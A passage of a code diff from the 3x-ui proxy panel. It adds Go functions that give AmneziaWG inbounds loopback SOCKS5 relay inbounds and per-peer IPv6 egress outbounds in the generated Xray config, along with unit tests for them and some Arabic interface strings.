// traffic is decapsulated in gVisor, Xray's own freedom outbound is the
// only way it reaches the real internet at all, not an optional extra
// hop. Whether it goes anywhere beyond Xray's default routing is up to
// whatever rules the admin adds through the stock Routing page, exactly
// like routing any other protocol.
injectAmneziawgnetSocks(xrayConfig, inbounds)
// Restores each opted-in peer's own distinct public IPv6 source identity
// for its outbound connections — a peer that has an IPv6 address in its
// AllowedIPs, on an inbound with IPv6Enabled, gets its own freedom
// outbound bound to that exact address via sendThrough.
// internal/amneziawgnet's own Manager is responsible for actually
// aliasing that address onto the host (see v6alias.go) so the kernel
// lets Xray bind an egress socket to it at all; this call only builds
// the Xray-side outbound/routing-rule half.
injectAmneziawgV6Egress(xrayConfig, inbounds)
// Wire the panel's own HTTP traffic through the configured outbound, after
// the subscription merge so subscription outbound tags are valid targets.
if egressTag, err := s.settingService.GetPanelOutbound(); err != nil {
@@ -663,6 +686,223 @@ func injectMtprotoEgress(cfg *xray.Config, inbound *model.Inbound) {
})
}
// amneziawgEgressSniffingSettings matches this fork's normal per-inbound
// default (see default.json's "mixed" inbound). Without this, domain-based
// Routing rules can never match this relay: the peer resolved DNS
// itself, through the tunnel, before ever sending a packet — by the time the
// embedded forwarder recovers the decapsulated traffic, the destination is
// already a bare IP, with no domain name attached at the network layer at
// all. Sniffing recovers it from the payload itself (TLS SNI / HTTP Host /
// QUIC) the same way it already does for every other inbound; without it,
// only tag/IP/network-based rules can ever match this traffic, and any
// domain rule above it in the list is silently unreachable.
const amneziawgEgressSniffingSettings = `{"enabled":true,"destOverride":["http","tls","quic","fakedns"]}`
// injectAmneziawgnetSocks gives every enabled AmneziaWG inbound with at
// least one qualifying peer its own loopback SOCKS5 inbound for the
// embedded (amneziawg-go) relay path (internal/amneziawgnet) -- always on,
// since there is no alternative datapath once traffic is decapsulated in
// gVisor: Xray's own freedom outbound is how it reaches the real internet at
// all (see internal/amneziawgnet/relay.go's doc comment, Finding 3 of the
// migration plan). Tagged with the inbound's own real tag: it's already
// selectable in the panel's stock Routing page (InboundService.GetInboundTags
// is protocol-blind), and per-inbound traffic totals
// (internal/web/service/inbound_traffic.go's addClientTraffic) match by
// exact tag -- reusing it isn't a style choice.
func injectAmneziawgnetSocks(cfg *xray.Config, inbounds []*model.Inbound) {
existingTags := make(map[string]struct{}, len(cfg.InboundConfigs))
for i := range cfg.InboundConfigs {
existingTags[cfg.InboundConfigs[i].Tag] = struct{}{}
}
for _, inbound := range inbounds {
if inbound.Protocol != model.AmneziaWG || !inbound.Enable || inbound.NodeID != nil {
continue
}
inst, ok := amneziawg.InstanceFromInbound(inbound)
if !ok {
continue
}
if _, taken := existingTags[inbound.Tag]; taken {
logger.Warning("amneziawgnet socks: inbound tag [", inbound.Tag, "] already present in generated config, skipping its relay inbound")
continue
}
emails := make([]string, 0, len(inst.Peers))
for _, p := range inst.Peers {
if p.Email != "" {
emails = append(emails, p.Email)
}
}
if len(emails) == 0 {
continue
}
settings, err := amneziawgnet.SocksInboundSettings(emails, amneziawgnet.SocksPassword())
if err != nil {
logger.Warning("amneziawgnet socks: building settings for inbound [", inbound.Tag, "]: ", err)
continue
}
existingTags[inbound.Tag] = struct{}{}
cfg.InboundConfigs = append(cfg.InboundConfigs, xray.InboundConfig{
Listen: json_util.RawMessage(`"127.0.0.1"`),
Port: amneziawgnet.SOCKSPortForInbound(inbound.Id),
Protocol: "socks",
Settings: json_util.RawMessage(settings),
Sniffing: json_util.RawMessage(amneziawgEgressSniffingSettings),
Tag: inbound.Tag,
})
}
}
// amneziawgV6EgressTag returns the stable, globally-unique freedom outbound
// tag for one peer's IPv6 source-identity egress. Stable across config
// regenerations (a pure function of two stable identifiers), so
// internal/xray/hot_diff.go's tag-keyed outbound/routing diffing recognizes
// "unchanged" rather than remove+recreate on every poll. The inbound.Id
// prefix is defense in depth, not load-bearing on its own: email is already
// enforced globally unique across the whole panel's client table
// (model.ClientRecord.Email has a gorm uniqueIndex) — kept anyway since it
// costs nothing and makes the tag self-describing, matching
// NodeEgressInboundTag's own style.
func amneziawgV6EgressTag(inboundID int, email string) string {
return fmt.Sprintf("amneziawg-v6-%d-%s", inboundID, email)
}
// injectAmneziawgV6Egress gives every enabled, non-node-hosted AmneziaWG
// peer with an IPv6 AllowedIPs entry its own single-purpose freedom
// outbound, bound via sendThrough to that exact address, plus a routing
// rule sending only that peer's own traffic through it — restoring the
// per-client public IPv6 identity the hard cutover temporarily dropped
// (Phase 3.5 of the migration plan). Scoped to outbound source identity
// only: it depends on internal/amneziawgnet's own alias mechanism actually
// giving the host that address at the OS level (see v6alias.go's
// V6AliasesActive, the exact same gate this function uses below) — without
// that, sendThrough fails to bind and every connection through it errors
// outright (freedom.go's dial failure); there is no fallback outbound.
//
// The routing rule matches both inboundTag and user: SocksInboundSettings
// (used by injectAmneziawgnetSocks above) already authenticates each
// connection as the peer's own email via stock SOCKS5 auth, and a stock
// Xray SOCKS5 inbound sets that connection's stats/routing identity from
// the authenticated username — so "user" reliably isolates exactly one
// peer's traffic, the same building block Finding 3 of the migration plan
// already established for per-client stats.
//
// Modeled on injectNodeEgresses (the established N-per-slice inbound+rule
// precedent, not injectAmneziawgnetSocks itself, which only ever emits a
// single inbound and never touches outbounds/routing) and
// mergeSubscriptionOutbounds's unmarshal-append-remarshal pattern for
// cfg.OutboundConfigs. Synthetic rules are prepended ahead of whatever's
// already in the routing rules array, the same pattern injectNodeEgresses/
// injectMtprotoEgress already use for their own always-must-win infra
// rules — this never touches the admin's own saved Routing-page rule
// order.
func injectAmneziawgV6Egress(cfg *xray.Config, inbounds []*model.Inbound) {
// Protocol is checked alongside Tag, not just Tag alone: a tag collision
// with some unrelated (non-socks) inbound must not be mistaken for this
// instance's own relay having been created.
liveInboundTags := make(map[string]struct{}, len(cfg.InboundConfigs))
for i := range cfg.InboundConfigs {
if cfg.InboundConfigs[i].Protocol == "socks" {
liveInboundTags[cfg.InboundConfigs[i].Tag] = struct{}{}
}
}
var existingOutbounds []any
if len(cfg.OutboundConfigs) > 0 {
if err := json.Unmarshal(cfg.OutboundConfigs, &existingOutbounds); err != nil {
logger.Warning("amneziawg v6 egress: outbounds section is unparsable, skipping injection:", err)
return
}
}
usedOutboundTags := make(map[string]struct{}, len(existingOutbounds))
for _, o := range existingOutbounds {
if m, ok := o.(map[string]any); ok {
if t, ok := m["tag"].(string); ok {
usedOutboundTags[t] = struct{}{}
}
}
}
routing := map[string]any{}
if len(cfg.RouterConfig) > 0 {
if err := json.Unmarshal(cfg.RouterConfig, &routing); err != nil {
logger.Warning("amneziawg v6 egress: routing section is unparsable, skipping injection:", err)
return
}
}
rules, _ := routing["rules"].([]any)
newRules := make([]any, 0)
newOutbounds := make([]any, 0)
for _, inbound := range inbounds {
if inbound.Protocol != model.AmneziaWG || !inbound.Enable || inbound.NodeID != nil {
continue
}
if _, live := liveInboundTags[inbound.Tag]; !live {
// The relay inbound itself wasn't created this pass (e.g. a tag
// collision inside injectAmneziawgnetSocks) -- no SOCKS5 inbound
// exists for hot_diff.go's inboundTag match to ever fire against.
continue
}
inst, ok := amneziawg.InstanceFromInbound(inbound)
if !ok || !amneziawgnet.V6AliasesActive(inst) {
continue
}
for _, p := range inst.Peers {
if p.Email == "" {
continue
}
v6 := amneziawg.FirstIPv6(p.AllowedIPs)
if v6 == "" {
continue
}
tag := amneziawgV6EgressTag(inbound.Id, p.Email)
if _, taken := usedOutboundTags[tag]; taken {
logger.Warning("amneziawg v6 egress: outbound tag [", tag, "] already exists, skipping peer [", p.Email, "]")
continue
}
usedOutboundTags[tag] = struct{}{}
newOutbounds = append(newOutbounds, map[string]any{
"tag": tag,
"protocol": "freedom",
"sendThrough": v6,
"settings": map[string]any{},
})
newRules = append(newRules, map[string]any{
"type": "field",
"inboundTag": []any{inbound.Tag},
"user": []any{p.Email},
"outboundTag": tag,
})
}
}
if len(newOutbounds) == 0 {
return
}
merged := make([]any, 0, len(existingOutbounds))
merged = append(merged, existingOutbounds...)
merged = append(merged, newOutbounds...)
combined, err := json.MarshalIndent(merged, "", " ")
if err != nil {
logger.Warning("amneziawg v6 egress: failed to rebuild outbounds section, skipping injection:", err)
return
}
cfg.OutboundConfigs = json_util.RawMessage(combined)
routing["rules"] = append(newRules, rules...)
newRouting, err := json.Marshal(routing)
if err != nil {
logger.Warning("amneziawg v6 egress: failed to rebuild routing section, skipping injection:", err)
return
}
cfg.RouterConfig = json_util.RawMessage(newRouting)
}
// mergeSubscriptionOutbounds appends the subscription outbounds to the
// OutboundConfigs array of the xray config. It works on the already-unmarshaled
// template so that manually configured outbounds are never overwritten.
@@ -3,8 +3,11 @@ package service
import (
"encoding/json"
"os"
"strings"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
xuilogger "github.com/mhsanaei/3x-ui/v3/internal/logger"
"github.com/mhsanaei/3x-ui/v3/internal/util/json_util"
@@ -557,3 +560,456 @@ func TestInjectMtprotoEgress_BadRoutingSkips(t *testing.T) {
t.Fatalf("unparsable routing must be left untouched, got %s", cfg.RouterConfig)
}
}
func amneziawgInbound(id int, tag string, clients []model.Client) *model.Inbound {
server := amneziawg.ServerSettings{SubnetIP: "10.8.1.0", SubnetCIDR: 24}
settings, _ := json.Marshal(amneziawg.InboundSettings{Server: &server, Clients: clients})
return &model.Inbound{Id: id, Tag: tag, Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
}
func TestInjectAmneziawgnetSocks_CreatesRelayTaggedWithInboundsOwnTag(t *testing.T) {
cfg := egressTestConfig()
before := string(cfg.RouterConfig)
inbound := amneziawgInbound(7, "awg-7", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
})
injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound})
if len(cfg.InboundConfigs) != 2 {
t.Fatalf("expected the relay inbound to be appended, got %d inbounds", len(cfg.InboundConfigs))
}
ib := cfg.InboundConfigs[1]
if ib.Tag != "awg-7" || ib.Protocol != "socks" || ib.Port != amneziawgnet.SOCKSPortForInbound(7) {
t.Fatalf("relay inbound must reuse the inbound's own tag (so per-inbound stats totals keep matching, and it's already selectable in the stock Routing page) and this instance's own derived port, got %+v", ib)
}
if string(ib.Listen) != `"127.0.0.1"` {
t.Fatalf("relay inbound must listen on loopback, got %s", ib.Listen)
}
if !strings.Contains(string(ib.Settings), `"auth":"password"`) || !strings.Contains(string(ib.Settings), `"udp":true`) {
t.Fatalf("relay inbound must require password auth and allow UDP ASSOCIATE, got %s", ib.Settings)
}
if !strings.Contains(string(ib.Settings), `"a@x"`) {
t.Fatalf("relay inbound must have an account for the peer's email, got %s", ib.Settings)
}
if !strings.Contains(string(ib.Sniffing), `"enabled":true`) {
t.Fatalf("relay inbound must enable sniffing -- a peer's own DNS resolution means the decapsulated traffic never carries a domain at the network layer, so domain-based Routing rules can only ever match via sniffing the payload, got %s", ib.Sniffing)
}
// No auto-generated routing rule: it's entirely up to the admin's own
// Routing-page rules, same as any other protocol's inbound tag.
if string(cfg.RouterConfig) != before {
t.Fatalf("injectAmneziawgnetSocks must never touch the routing section, got %s", cfg.RouterConfig)
}
}
func TestInjectAmneziawgnetSocks_MultipleInboundsEachGetOwnRelay(t *testing.T) {
cfg := egressTestConfig()
inbound1 := amneziawgInbound(1, "awg-1", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
})
inbound2 := amneziawgInbound(2, "awg-2", []model.Client{
{Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"10.9.1.2/32"}},
})
injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound1, inbound2})
if len(cfg.InboundConfigs) != 3 {
t.Fatalf("expected one relay inbound per inbound (plus the pre-existing one), got %d inbounds: %+v", len(cfg.InboundConfigs), cfg.InboundConfigs)
}
byTag := map[string]int{}
for _, ib := range cfg.InboundConfigs[1:] {
byTag[ib.Tag] = ib.Port
}
if byTag["awg-1"] != amneziawgnet.SOCKSPortForInbound(1) || byTag["awg-2"] != amneziawgnet.SOCKSPortForInbound(2) {
t.Fatalf("each inbound must get its own tag and its own derived port, got %+v", byTag)
}
}
func TestInjectAmneziawgnetSocks_NoQualifyingPeerSkipsRelay(t *testing.T) {
cases := []struct {
name string
client model.Client
enable bool
}{
{"client disabled", model.Client{Email: "a@x", Enable: false, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, true},
{"no PublicKey", model.Client{Email: "a@x", Enable: true, AllowedIPs: []string{"10.8.1.2/32"}}, true},
{"no AllowedIPs", model.Client{Email: "a@x", Enable: true, PublicKey: "pub-a"}, true},
{"inbound disabled", model.Client{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, false},
{"no Email", model.Client{Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, true},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
cfg := egressTestConfig()
inbound := amneziawgInbound(1, "awg-1", []model.Client{c.client})
inbound.Enable = c.enable
injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound})
if len(cfg.InboundConfigs) != 1 {
t.Fatalf("%s must be a no-op, got %d inbounds", c.name, len(cfg.InboundConfigs))
}
})
}
}
func TestInjectAmneziawgnetSocks_AlwaysOnRegardlessOfLegacyRouteThroughXrayField(t *testing.T) {
// Unlike the retired kernel-module bridge, the embedded relay has no
// opt-in gate: there is no alternative datapath once traffic is
// decapsulated in gVisor. A stale RouteThroughXray=false left over from
// a pre-cutover install must not suppress the relay inbound.
cfg := egressTestConfig()
server := amneziawg.ServerSettings{SubnetIP: "10.8.1.0", SubnetCIDR: 24, RouteThroughXray: false}
settings, _ := json.Marshal(amneziawg.InboundSettings{
Server: &server,
Clients: []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
},
})
inbound := &model.Inbound{Id: 1, Tag: "awg-1", Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound})
if len(cfg.InboundConfigs) != 2 {
t.Fatalf("the relay inbound must always be created regardless of RouteThroughXray, got %+v", cfg.InboundConfigs)
}
}
func TestInjectAmneziawgnetSocks_WrongProtocolOrNodeSkipped(t *testing.T) {
cfg := egressTestConfig()
vless := &model.Inbound{Id: 1, Tag: "in-1", Protocol: model.VLESS, Enable: true}
nodeID := 5
nodeHosted := amneziawgInbound(2, "awg-2", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
})
nodeHosted.NodeID = &nodeID
injectAmneziawgnetSocks(cfg, []*model.Inbound{vless, nodeHosted})
if len(cfg.InboundConfigs) != 1 {
t.Fatalf("a non-AmneziaWG or node-hosted inbound must never get a relay inbound, got %+v", cfg.InboundConfigs)
}
}
func TestInjectAmneziawgnetSocks_TagCollisionSkipsThatInboundOnly(t *testing.T) {
cfg := egressTestConfig()
cfg.InboundConfigs = append(cfg.InboundConfigs,
xray.InboundConfig{Port: 1234, Protocol: "vless", Tag: "awg-1"})
inbound1 := amneziawgInbound(1, "awg-1", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
})
inbound2 := amneziawgInbound(2, "awg-2", []model.Client{
{Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"10.9.1.2/32"}},
})
injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound1, inbound2})
// Started with 2 (api + the colliding vless entry); only awg-2's relay
// inbound should have been added, awg-1's skipped since its tag is taken.
if len(cfg.InboundConfigs) != 3 {
t.Fatalf("expected only the non-colliding inbound's relay inbound to be added, got %+v", cfg.InboundConfigs)
}
found := false
for _, ib := range cfg.InboundConfigs {
if ib.Tag == "awg-2" && ib.Protocol == "socks" {
found = true
}
}
if !found {
t.Fatal("awg-2's relay inbound must still be created despite awg-1's tag collision")
}
}
// amneziawgV6Inbound builds an AmneziaWG inbound with IPv6 enabled and a
// given external interface -- amneziawgInbound's own ServerSettings never
// sets these, so injectAmneziawgV6Egress's tests need their own variant.
func amneziawgV6Inbound(id int, tag string, ext6 string, clients []model.Client) *model.Inbound {
server := amneziawg.ServerSettings{
SubnetIP: "10.8.1.0", SubnetCIDR: 24,
IPv6Enabled: true, IPv6ExternalInterface: ext6,
}
settings, _ := json.Marshal(amneziawg.InboundSettings{Server: &server, Clients: clients})
return &model.Inbound{Id: id, Tag: tag, Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
}
// amneziawgV6InboundNotActive builds an inbound that fails V6AliasesActive
// (either toggle can do it), unlike amneziawgV6Inbound which always passes it.
func amneziawgV6InboundNotActive(id int, tag string, ipv6Enabled bool, ext6 string, clients []model.Client) *model.Inbound {
server := amneziawg.ServerSettings{
SubnetIP: "10.8.1.0", SubnetCIDR: 24,
IPv6Enabled: ipv6Enabled, IPv6ExternalInterface: ext6,
}
settings, _ := json.Marshal(amneziawg.InboundSettings{Server: &server, Clients: clients})
return &model.Inbound{Id: id, Tag: tag, Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
}
// injectAmneziawgV6Egress runs after injectAmneziawgnetSocks in the real
// GetXrayConfig() pipeline and depends on its relay inbound already
// existing (see the "live" tag check) -- every test below calls both, in
// that order, to match production.
func injectAmneziawgSocksThenV6(cfg *xray.Config, inbounds []*model.Inbound) {
injectAmneziawgnetSocks(cfg, inbounds)
injectAmneziawgV6Egress(cfg, inbounds)
}
type v6EgressRouting struct {
Rules []struct {
InboundTag []string `json:"inboundTag"`
User []string `json:"user"`
OutboundTag string `json:"outboundTag"`
Type string `json:"type"`
} `json:"rules"`
}
type v6EgressOutbound struct {
Tag string `json:"tag"`
Protocol string `json:"protocol"`
SendThrough string `json:"sendThrough"`
}
func TestInjectAmneziawgV6Egress_CreatesOutboundAndRuleForV6Peer(t *testing.T) {
cfg := egressTestConfig()
inbound := amneziawgV6Inbound(7, "awg-7", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32", "fd86:ea04:1115::2/128"}},
})
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
var outbounds []v6EgressOutbound
if err := json.Unmarshal(cfg.OutboundConfigs, &outbounds); err != nil {
t.Fatal(err)
}
wantTag := amneziawgV6EgressTag(7, "a@x")
var got *v6EgressOutbound
for i := range outbounds {
if outbounds[i].Tag == wantTag {
got = &outbounds[i]
}
}
if got == nil {
t.Fatalf("expected an outbound tagged %q, got %+v", wantTag, outbounds)
}
if got.Protocol != "freedom" || got.SendThrough != "fd86:ea04:1115::2" {
t.Fatalf("outbound must be a freedom outbound bound to the peer's own v6 address, got %+v", got)
}
// Pre-existing outbounds (direct, warp) must survive untouched.
if len(outbounds) != 3 {
t.Fatalf("expected the 2 pre-existing outbounds plus 1 new one, got %+v", outbounds)
}
var routing v6EgressRouting
if err := json.Unmarshal(cfg.RouterConfig, &routing); err != nil {
t.Fatal(err)
}
ruleIdx := -1
for i := range routing.Rules {
if routing.Rules[i].OutboundTag == wantTag {
ruleIdx = i
}
}
if ruleIdx == -1 {
t.Fatalf("expected a routing rule targeting %q, got %+v", wantTag, routing.Rules)
}
rule := routing.Rules[ruleIdx]
if rule.Type != "field" || len(rule.User) != 1 || rule.User[0] != "a@x" ||
len(rule.InboundTag) != 1 || rule.InboundTag[0] != "awg-7" {
t.Fatalf("rule must match this peer's email and inbound tag, got %+v", rule)
}
}
func TestInjectAmneziawgV6Egress_SkipsPeerWithoutV6Address(t *testing.T) {
cfg := egressTestConfig()
before := string(cfg.OutboundConfigs)
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, // v4 only
})
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
if string(cfg.OutboundConfigs) != before {
t.Fatalf("a peer with no v6 AllowedIPs entry must not get an outbound, got %s", cfg.OutboundConfigs)
}
}
// The documented "leave the interface blank to auto-detect" happy path must
// not silently emit a sendThrough for an address the host was never told to
// own -- there is no auto-detect, so that would fail every connection.
func TestInjectAmneziawgV6Egress_SkipsWhenIPv6EnabledButInterfaceBlank(t *testing.T) {
cfg := egressTestConfig()
before := string(cfg.OutboundConfigs)
inbound := amneziawgV6InboundNotActive(1, "awg-1", true, "", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32", "fd86::2/128"}},
})
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
if string(cfg.OutboundConfigs) != before {
t.Fatalf("IPv6Enabled with a blank interface must not get an outbound (no auto-detect exists), got %s", cfg.OutboundConfigs)
}
}
// The inverse of amneziawgV6Inbound's own always-true IPv6Enabled: a filled
// IPv6ExternalInterface alone (e.g. left over from a previous enable) must
// not activate egress on its own.
func TestInjectAmneziawgV6Egress_SkipsWhenIPv6DisabledEvenWithInterfaceSet(t *testing.T) {
cfg := egressTestConfig()
before := string(cfg.OutboundConfigs)
inbound := amneziawgV6InboundNotActive(1, "awg-1", false, "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32", "fd86::2/128"}},
})
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
if string(cfg.OutboundConfigs) != before {
t.Fatalf("IPv6Enabled false must not get an outbound even with a leftover interface set, got %s", cfg.OutboundConfigs)
}
}
func TestInjectAmneziawgV6Egress_MultiplePeersEachGetOwnOutboundAndRule(t *testing.T) {
cfg := egressTestConfig()
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
{Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"fd86:ea04:1115::3/128"}},
})
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
var outbounds []v6EgressOutbound
if err := json.Unmarshal(cfg.OutboundConfigs, &outbounds); err != nil {
t.Fatal(err)
}
tagA, tagB := amneziawgV6EgressTag(1, "a@x"), amneziawgV6EgressTag(1, "b@x")
seen := map[string]string{}
for _, o := range outbounds {
seen[o.Tag] = o.SendThrough
}
if seen[tagA] != "fd86:ea04:1115::2" || seen[tagB] != "fd86:ea04:1115::3" {
t.Fatalf("each peer must get its own outbound bound to its own address, got %+v", seen)
}
}
func TestInjectAmneziawgV6Egress_StableTagAcrossRegenerations(t *testing.T) {
// Same instance data, two independent injections -- hot_diff.go relies on
// the tag being a pure function of (inboundID, email) so it recognizes
// "unchanged" rather than remove+recreate on every poll.
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
})
cfg1 := egressTestConfig()
injectAmneziawgSocksThenV6(cfg1, []*model.Inbound{inbound})
cfg2 := egressTestConfig()
injectAmneziawgSocksThenV6(cfg2, []*model.Inbound{inbound})
var out1, out2 []v6EgressOutbound
json.Unmarshal(cfg1.OutboundConfigs, &out1)
json.Unmarshal(cfg2.OutboundConfigs, &out2)
if len(out1) != len(out2) || out1[len(out1)-1].Tag != out2[len(out2)-1].Tag {
t.Fatalf("tag must be stable across independent regenerations, got %+v vs %+v", out1, out2)
}
}
func TestInjectAmneziawgV6Egress_SkipsWrongProtocolOrNodeHostedOrDisabled(t *testing.T) {
cfg := egressTestConfig()
before := string(cfg.OutboundConfigs)
vless := &model.Inbound{Id: 1, Tag: "in-1", Protocol: model.VLESS, Enable: true}
nodeID := 5
nodeHosted := amneziawgV6Inbound(2, "awg-2", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
})
nodeHosted.NodeID = &nodeID
disabled := amneziawgV6Inbound(3, "awg-3", "eth0", []model.Client{
{Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"fd86:ea04:1115::3/128"}},
})
disabled.Enable = false
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{vless, nodeHosted, disabled})
if string(cfg.OutboundConfigs) != before {
t.Fatalf("wrong-protocol, node-hosted, and disabled inbounds must never get a v6 outbound, got %s", cfg.OutboundConfigs)
}
}
func TestInjectAmneziawgV6Egress_SkipsWhenRelayInboundNotCreated(t *testing.T) {
cfg := egressTestConfig()
// A pre-existing inbound already holds this AmneziaWG inbound's tag, so
// injectAmneziawgnetSocks (called first, matching production order)
// skips creating its relay SOCKS5 inbound entirely.
cfg.InboundConfigs = append(cfg.InboundConfigs,
xray.InboundConfig{Port: 1234, Protocol: "vless", Tag: "awg-1"})
before := string(cfg.OutboundConfigs)
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
})
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
if string(cfg.OutboundConfigs) != before {
t.Fatalf("no v6 outbound should be created when the relay inbound itself never got created, got %s", cfg.OutboundConfigs)
}
}
func TestInjectAmneziawgV6Egress_OutboundTagCollisionSkipsThatPeerOnly(t *testing.T) {
cfg := egressTestConfig()
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
{Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"fd86:ea04:1115::3/128"}},
})
// Pre-seed a colliding outbound tag for a@x specifically.
collidingTag := amneziawgV6EgressTag(1, "a@x")
existing, _ := json.Marshal([]any{map[string]any{"tag": collidingTag, "protocol": "freedom"}})
cfg.OutboundConfigs = json_util.RawMessage(existing)
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
var outbounds []v6EgressOutbound
if err := json.Unmarshal(cfg.OutboundConfigs, &outbounds); err != nil {
t.Fatal(err)
}
tagB := amneziawgV6EgressTag(1, "b@x")
foundB := false
countA := 0
for _, o := range outbounds {
if o.Tag == collidingTag {
countA++
}
if o.Tag == tagB {
foundB = true
}
}
if countA != 1 {
t.Fatalf("a@x's pre-existing outbound must not be duplicated, got %d copies", countA)
}
if !foundB {
t.Fatal("b@x must still get its own outbound despite a@x's tag collision")
}
}
func TestInjectAmneziawgV6Egress_BadOutboundsOrRoutingSkips(t *testing.T) {
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
})
cfg := egressTestConfig()
cfg.OutboundConfigs = json_util.RawMessage(`{not json`)
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
if string(cfg.OutboundConfigs) != `{not json` {
t.Fatalf("unparsable outbounds must be left untouched, got %s", cfg.OutboundConfigs)
}
cfg2 := egressTestConfig()
cfg2.RouterConfig = json_util.RawMessage(`{not json`)
injectAmneziawgSocksThenV6(cfg2, []*model.Inbound{inbound})
if string(cfg2.RouterConfig) != `{not json` {
t.Fatalf("unparsable routing must be left untouched, got %s", cfg2.RouterConfig)
}
}
func TestInjectAmneziawgV6Egress_NoQualifyingPeerLeavesConfigUntouched(t *testing.T) {
cfg := egressTestConfig()
beforeOut, beforeRoute := string(cfg.OutboundConfigs), string(cfg.RouterConfig)
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", nil) // no clients at all
injectAmneziawgV6Egress(cfg, []*model.Inbound{inbound})
if string(cfg.OutboundConfigs) != beforeOut || string(cfg.RouterConfig) != beforeRoute {
t.Fatalf("an inbound with no qualifying peer must leave the config byte-identical")
}
}
func TestInjectAmneziawgV6Egress_RulesPrependedBeforeExistingRules(t *testing.T) {
cfg := egressTestConfig() // already has one rule, targeting "api"
inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
})
injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
var routing v6EgressRouting
if err := json.Unmarshal(cfg.RouterConfig, &routing); err != nil {
t.Fatal(err)
}
if len(routing.Rules) != 2 {
t.Fatalf("expected the new rule plus the pre-existing one, got %+v", routing.Rules)
}
if routing.Rules[0].OutboundTag != amneziawgV6EgressTag(1, "a@x") {
t.Fatalf("the new infra rule must be prepended ahead of the pre-existing rule, got %+v", routing.Rules[0])
}
if routing.Rules[1].OutboundTag != "api" {
t.Fatalf("the pre-existing rule must survive, got %+v", routing.Rules[1])
}
}
+70
View File
@@ -232,6 +232,15 @@
"logs": "السجلات",
"accessLogs": "سجلات الوصول",
"autoUpdate": "تحديث تلقائي",
"amneziawgLogs": "سجلات AmneziaWG",
"amneziawgHandshake": "آخر مصافحة",
"amneziawgInterface": "الواجهة",
"amneziawgInbound": "الوارد",
"amneziawgEndpoint": "نقطة الاتصال",
"amneziawgIdle": "خامل",
"amneziawgEvents": "الأحداث",
"amneziawgNoPeers": "لا يوجد أقران AmneziaWG نشطون حاليًا",
"amneziawgNoEvents": "لم تُسجَّل أحداث AmneziaWG بعد",
"config": "الإعدادات",
"backupTitle": "نسخ احتياطي واستعادة",
"exportDatabase": "اخزن نسخة",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "مفتاح وايرغارد المشترك مسبقًا",
